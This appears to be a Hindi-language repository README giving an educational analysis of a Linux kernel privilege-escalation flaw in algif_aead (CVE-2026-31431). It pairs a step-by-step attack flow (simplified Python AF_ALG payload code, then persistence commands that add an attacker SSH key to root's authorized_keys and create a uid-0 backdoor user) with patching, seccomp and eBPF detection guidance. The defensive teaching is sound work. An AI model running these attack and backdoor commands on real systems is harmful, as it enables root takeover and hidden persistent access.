CVE-2026-31431 — कॉपी फेल: लिनक्स कर्नेल विशेषाधिकार वृद्धि

लिनक्स कर्नेल में कॉपी फेल भेद्यता का शैक्षिक विश्लेषण।
इसमें मेमोरी भ्रष्टाचार तंत्र, विशेषाधिकार वृद्धि प्रवाह, कंटेनर पलायन और रक्षात्मक उपाय शामिल हैं।

⚠️ अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए है।
इस जानकारी का उपयोग उन सिस्टमों पर न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति नहीं है।
सभी कोड स्निपेट और कमांड केवल लिनक्स कर्नेल आंतरिक कार्यप्रणाली को समझने में सहायता के लिए प्रदान किए गए हैं।

विषय-सूची

• अवलोकन
• भेद्यता पहचान कार्ड
• पृष्ठभूमि अवधारणाएँ
• बग कैसे काम करता है
• पूर्ण आक्रमण प्रवाह
• यह इतना खतरनाक क्यों है
• सुरक्षित व्यावहारिक अवलोकन
• रक्षा और पहचान
• समान CVE से तुलना
• शब्दावली
• त्वरित संदर्भ

अवलोकन

CVE-2026-31431, जिसे कॉपी फेल के नाम से भी जाना जाता है, एक लिनक्स कर्नेल भेद्यता है जिसमें एक गैर-विशेषाधिकार प्राप्त स्थानीय उपयोगकर्ता बिना किसी विशेष अनुमति के रूट तक पहुँच प्राप्त कर सकता है।

आक्रमण पूरी तरह से RAM में संचालित होता है। डिस्क फ़ाइल को कभी नहीं छुआ जाता — जिसका अर्थ है कि फ़ाइल हैश साफ रहते हैं, टाइमस्टैम्प अपरिवर्तित रहते हैं, और ऑडिट लॉग कुछ भी दर्ज नहीं करते। जब सिस्टम रीबूट होता है, सभी सबूत गायब हो जाते हैं।

सामान्य उपयोगकर्ता  →  algif_aead बग का शोषण  →  पेज कैश अधिलेखित  →  रूट

मुख्य विशेषताएँ:

• ✅ कोई रेस कंडीशन नहीं — हर बार विश्वसनीय रूप से काम करता है
• ✅ डिस्क अछूती — फोरेंसिक को कुछ नहीं मिलता
• ✅ केवल एक मानक स्थानीय उपयोगकर्ता खाते की आवश्यकता होती है
• ✅ साझा पेज कैश के माध्यम से कंटेनर पलायन सक्षम करता है

भेद्यता पहचान कार्ड

पृष्ठभूमि अवधारणाएँ

/usr/bin/su — लक्ष्य बाइनरी

su (स्विच यूज़र) एक उपयोगकर्ता को दूसरे खाते — आमतौर पर रूट — में स्विच करने की अनुमति देता है। यह एक SetUID बाइनरी है:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = SetUID फ़्लैग

s फ़्लैग का अर्थ है: जब कोई भी उपयोगकर्ता इस बाइनरी को चलाता है, यह रूट की अनुमतियों के साथ निष्पादित होती है। यह इसे एक उच्च-मूल्य वाला लक्ष्य बनाता है।

इसका आंतरिक तर्क (सरलीकृत):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

आक्रमण लक्ष्य: password_correct() जाँच को पूरी तरह से छोड़ देना।

RAM और पेज कैश

जब लिनक्स डिस्क से एक फ़ाइल पढ़ता है, यह उसकी एक प्रति RAM में रखता है जिसे पेज कैश कहा जाता है।

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← यह पेज कैश है

बफर और सुरक्षित बफर

AF_ALG और algif_aead

AF_ALG (एल्गोरिदम फ़ैमिली) एक लिनक्स सॉकेट इंटरफ़ेस है जो उपयोगकर्ता-स्थान प्रोग्रामों को कर्नेल क्रिप्टो फ़ंक्शन (AES, SHA, AEAD) का उपयोग करने की अनुमति देता है।

socket(AF_ALG, SOCK_SEQPACKET, 0);  // क्रिप्टो सॉकेट खोलें

algif_aead कर्नेल मॉड्यूल है जो AF_ALG के माध्यम से AEAD एन्क्रिप्शन (जैसे AES-GCM) को संभालता है। भेद्यता इसके डेटा कॉपी चरण में रहती है।

AF_ALG  →  algif_aead  →  AES-GCM इंजन  →  आउटपुट बफर
                                ↑
                           बग यहाँ है

बग कैसे काम करता है

बग एन्क्रिप्शन तर्क में नहीं है। यह मेमोरी हैंडलिंग में है — डेटा कॉपी के दौरान गलत मेमोरी क्षेत्र का चयन किया जाता है।

सामान्य प्रवाह (बग के बिना):

destination = safe_output_buffer;       // सही स्थान
memcpy(destination, user_data, size);   // डेटा सुरक्षित रूप से लिखा गया

संवेदनशील प्रवाह (बग के साथ):

destination = buffer + WRONG_OFFSET;    // बग: गलत पॉइंटर!
memcpy(destination, user_data, size);   // डेटा पेज कैश में पहुँचता है

कर्नेल को सुरक्षित आउटपुट बफर में लिखना था। गलत गणना किए गए ऑफसेट के कारण, यह पेज कैश में लिखता है — जिसमें /usr/bin/su की RAM प्रति होती है।

हमलावर मेमोरी में क्या बदलता है

बाइनरी में x86-64 मशीन कोड होता है। हमलावर उस सशर्त जंप को लक्षित करता है जो प्रमाणीकरण विफलता को ट्रिगर करता है:

आक्रमण से पहले:

cmp  eax, 0     ; रिटर्न मान जाँचें
jne  0x1234     ; यदि विफल → अस्वीकार पर जाएँ
call give_root  ; रूट प्रदान करें

आक्रमण के बाद (RAM में 2 बाइट बदले गए):

cmp  eax, 0     ; समान
90 90           ; NOP NOP ← जंप बदला गया, जाँच छोड़ी गई!
call give_root  ; CPU सीधे यहाँ पहुँचता है

NOP = नो ऑपरेशन। CPU कुछ नहीं करता और आगे बढ़ता है — प्रमाणीकरण जाँच को पूरी तरह से छोड़ देता है।

पूर्ण आक्रमण प्रवाह

आक्रमण-पूर्व मानसिकता

"मुझे केवल एक सामान्य उपयोगकर्ता खाते की आवश्यकता है। कर्नेल स्वयं गलती करेगा।
डिस्क साफ रहती है। कोई लॉग नहीं। हर बार काम करता है।"

चरण 0 — टोही

whoami && id
# uid=1000(user) gid=1000(user) ← सामान्य उपयोगकर्ता

uname -r
# 6.1.0-generic ← संवेदनशील सीमा के भीतर

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID की पुष्टि

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG उपलब्ध')"

चरण 1 — फ़ाइल को पेज कैश में लोड करें

cat /usr/bin/su > /dev/null
# /usr/bin/su अब पेज कैश में लोड हो गया है ✓

चरण 2 — बाइनरी का रिवर्स इंजीनियरिंग

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

खोज रहे हैं: प्रमाणीकरण फ़ंक्शन का पता, jne/jnz सशर्त जंप, और इसका सटीक बाइट ऑफसेट।

चरण 3 — AF_ALG सॉकेट खोलें

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

चरण 4 — निर्मित पेलोड भेजें

payload = b'\x90\x90'  # NOP NOP — सशर्त जंप को बदलता है
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

चरण 5 — कर्नेल पेज कैश को अधिलेखित करता है

# कर्नेल आंतरिक रूप से (सरलीकृत):
destination = buffer + crafted_offset  # बग: गलत पॉइंटर
memcpy(destination, payload, 2)        # NOP बाइट्स पेज कैश में लिखे गए
# /usr/bin/su की पासवर्ड जाँच अब RAM में NOP NOP है

चरण 6 — ट्रिगर

su
# पासवर्ड: (कुछ भी — या बस Enter दबाएँ)
# root@victim:/# ← रूट प्राप्त हुआ

क्या हुआ: सिस्टम ने /usr/bin/su को RAM से निष्पादित किया। पासवर्ड जाँच NOP थी। CPU ने इसे छोड़ दिया। give_root() सीधे कॉल किया गया।

चरण 7 — स्थिरता (वैकल्पिक)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

यह इतना खतरनाक क्यों है

कोई रेस कंडीशन नहीं

डिस्क अछूती — फोरेंसिक विफल

आक्रमण के बाद, एक फोरेंसिक अन्वेषक पाता है:

sha256sum /usr/bin/su       # पहले जैसा ही हैश ← डिस्क अछूती
diff /usr/bin/su backup/su  # कोई अंतर नहीं
grep -r 'attack' /var/log/  # कुछ नहीं
auditd लॉग                  # कोई फ़ाइल लेखन दर्ज नहीं

रीबूट पर, RAM फ्लश हो जाती है — सभी सबूत गायब हो जाते हैं।

कंटेनर ब्रेकआउट

कंटेनर उपयोगकर्ता-स्थान को अलग करते हैं — लेकिन कर्नेल साझा है, और पेज कैश कर्नेल मेमोरी है।

होस्ट कर्नेल
├── कंटेनर 1 (पृथक उपयोगकर्ता स्थान)
│   └── हमलावर यहाँ है
├── कंटेनर 2
└── होस्ट प्रक्रिया

पेज कैश: सभी कंटेनरों और होस्ट के बीच साझा!

पलायन मार्ग: कंटेनर 1 में हमलावर होस्ट का /usr/bin/su पढ़ता है → बग ट्रिगर करता है → होस्ट बाइनरी RAM में संशोधित होती है → होस्ट पर su चलाने से होस्ट मशीन पर रूट मिलता है।

प्रभावित: Docker, Podman, LXC, Kubernetes (साझा नोड्स) — यदि होस्ट कर्नेल संवेदनशील है।

सुरक्षित व्यावहारिक अवलोकन

ये केवल अवलोकन अभ्यास हैं। किसी भी परीक्षण के लिए लैब वातावरण (Docker + पुराना कर्नेल VM) का उपयोग करें।

पेज कैश का अवलोकन करें

free -h                      # पहले Cache मान नोट करें
cat /usr/bin/su > /dev/null  # फ़ाइल को पेज कैश में लोड करें
free -h                      # Cache थोड़ा बढ़ता है

बाइनरी मेमोरी मैपिंग देखें

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

बाइनरी का निरीक्षण करें

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

असेंबली देखें (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

डिस्क बनाम RAM हैश

sha256sum /usr/bin/su
# सामान्यतः डिस्क के समान — सफल आक्रमण के बाद भिन्न
# /proc/PID/mem तुलना के लिए रूट की आवश्यकता होती है

रक्षा और पहचान

तत्काल शमन

प्राथमिकता 1 — कर्नेल अपडेट (सर्वोत्तम समाधान)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

प्राथमिकता 2 — algif_aead अक्षम करें

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

प्राथमिकता 3 — एक्सेस नियंत्रण
अविश्वसनीय प्रक्रियाओं के लिए AF_ALG सॉकेट एक्सेस को प्रतिबंधित करने हेतु systemd सेवाओं में SystemCallFilter के साथ seccomp प्रोफ़ाइल लागू करें।

पहचान

eBPF वास्तविक-समय पहचान

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: algif_aead sendmsg by PID %d (user %d)\n", pid, uid);
  }
'

कंटेनर सख्तीकरण

# seccomp प्रोफ़ाइल के साथ चलाएँ (AF_ALG को ब्लॉक करता है)
docker run --security-opt seccomp=custom-profile.json my-image

• AF_ALG सॉकेट निर्माण को ब्लॉक करने वाली seccomp प्रोफ़ाइल का उपयोग करें
• उच्च-जोखिम वाले कार्यभार के लिए gVisor या समान कर्नेल अलगाव का उपयोग करें
• विशेषाधिकार प्राप्त कंटेनरों से बचें
• कंटेनरों के अंदर केवल-पठनीय रूट फ़ाइल सिस्टम सेट करें
• Kubernetes पॉड सुरक्षा मानक लागू करें — restricted नीति

समान CVE से तुलना

CVE-2026-31431 गोपनीयता (डिस्क अपरिवर्तित) + विश्वसनीयता (कोई रेस कंडीशन नहीं) + कंटेनर पलायन को जोड़ता है — जिससे यह अपनी श्रेणी में विशिष्ट रूप से खतरनाक बन जाता है।

शब्दावली

त्वरित संदर्भ

एक नज़र में आक्रमण प्रवाह

रक्षा जाँच सूची

• कर्नेल को तुरंत पैच किए गए संस्करण में अपडेट करें
• यदि आवश्यक न हो तो algif_aead मॉड्यूल अक्षम करें
• eBPF या Falco कर्नेल-स्तरीय निगरानी सक्षम करें
• AF_ALG को ब्लॉक करने के लिए कंटेनर seccomp प्रोफ़ाइल अपडेट करें
• मेमोरी-आधारित बाइनरी अखंडता जाँच शेड्यूल करें
• घटना प्रतिक्रिया योजना की समीक्षा और अपडेट करें

एक-पंक्ति सारांश

CVE-2026-31431 में, लिनक्स का क्रिप्टो मॉड्यूल (algif_aead) में एक मेमोरी कॉपी बग है जो हमलावर-नियंत्रित डेटा को सुरक्षित आउटपुट बफर के बजाय पेज कैश में पहुँचने का कारण बनता है — चुपचाप RAM में एक SetUID बाइनरी को संशोधित करता है — जिससे किसी भी स्थानीय उपयोगकर्ता को डिस्क पर एक भी निशान छोड़े बिना रूट एक्सेस प्राप्त हो जाता है।

यह दस्तावेज़ लिनक्स कर्नेल सुरक्षा आंतरिक कार्यप्रणाली की शैक्षिक समझ के लिए तैयार किया गया है।
— केवल शैक्षिक उद्देश्य —

📄 पूर्ण रिपोर्ट (PDF)

👉 पूर्ण रिपोर्ट डाउनलोड करें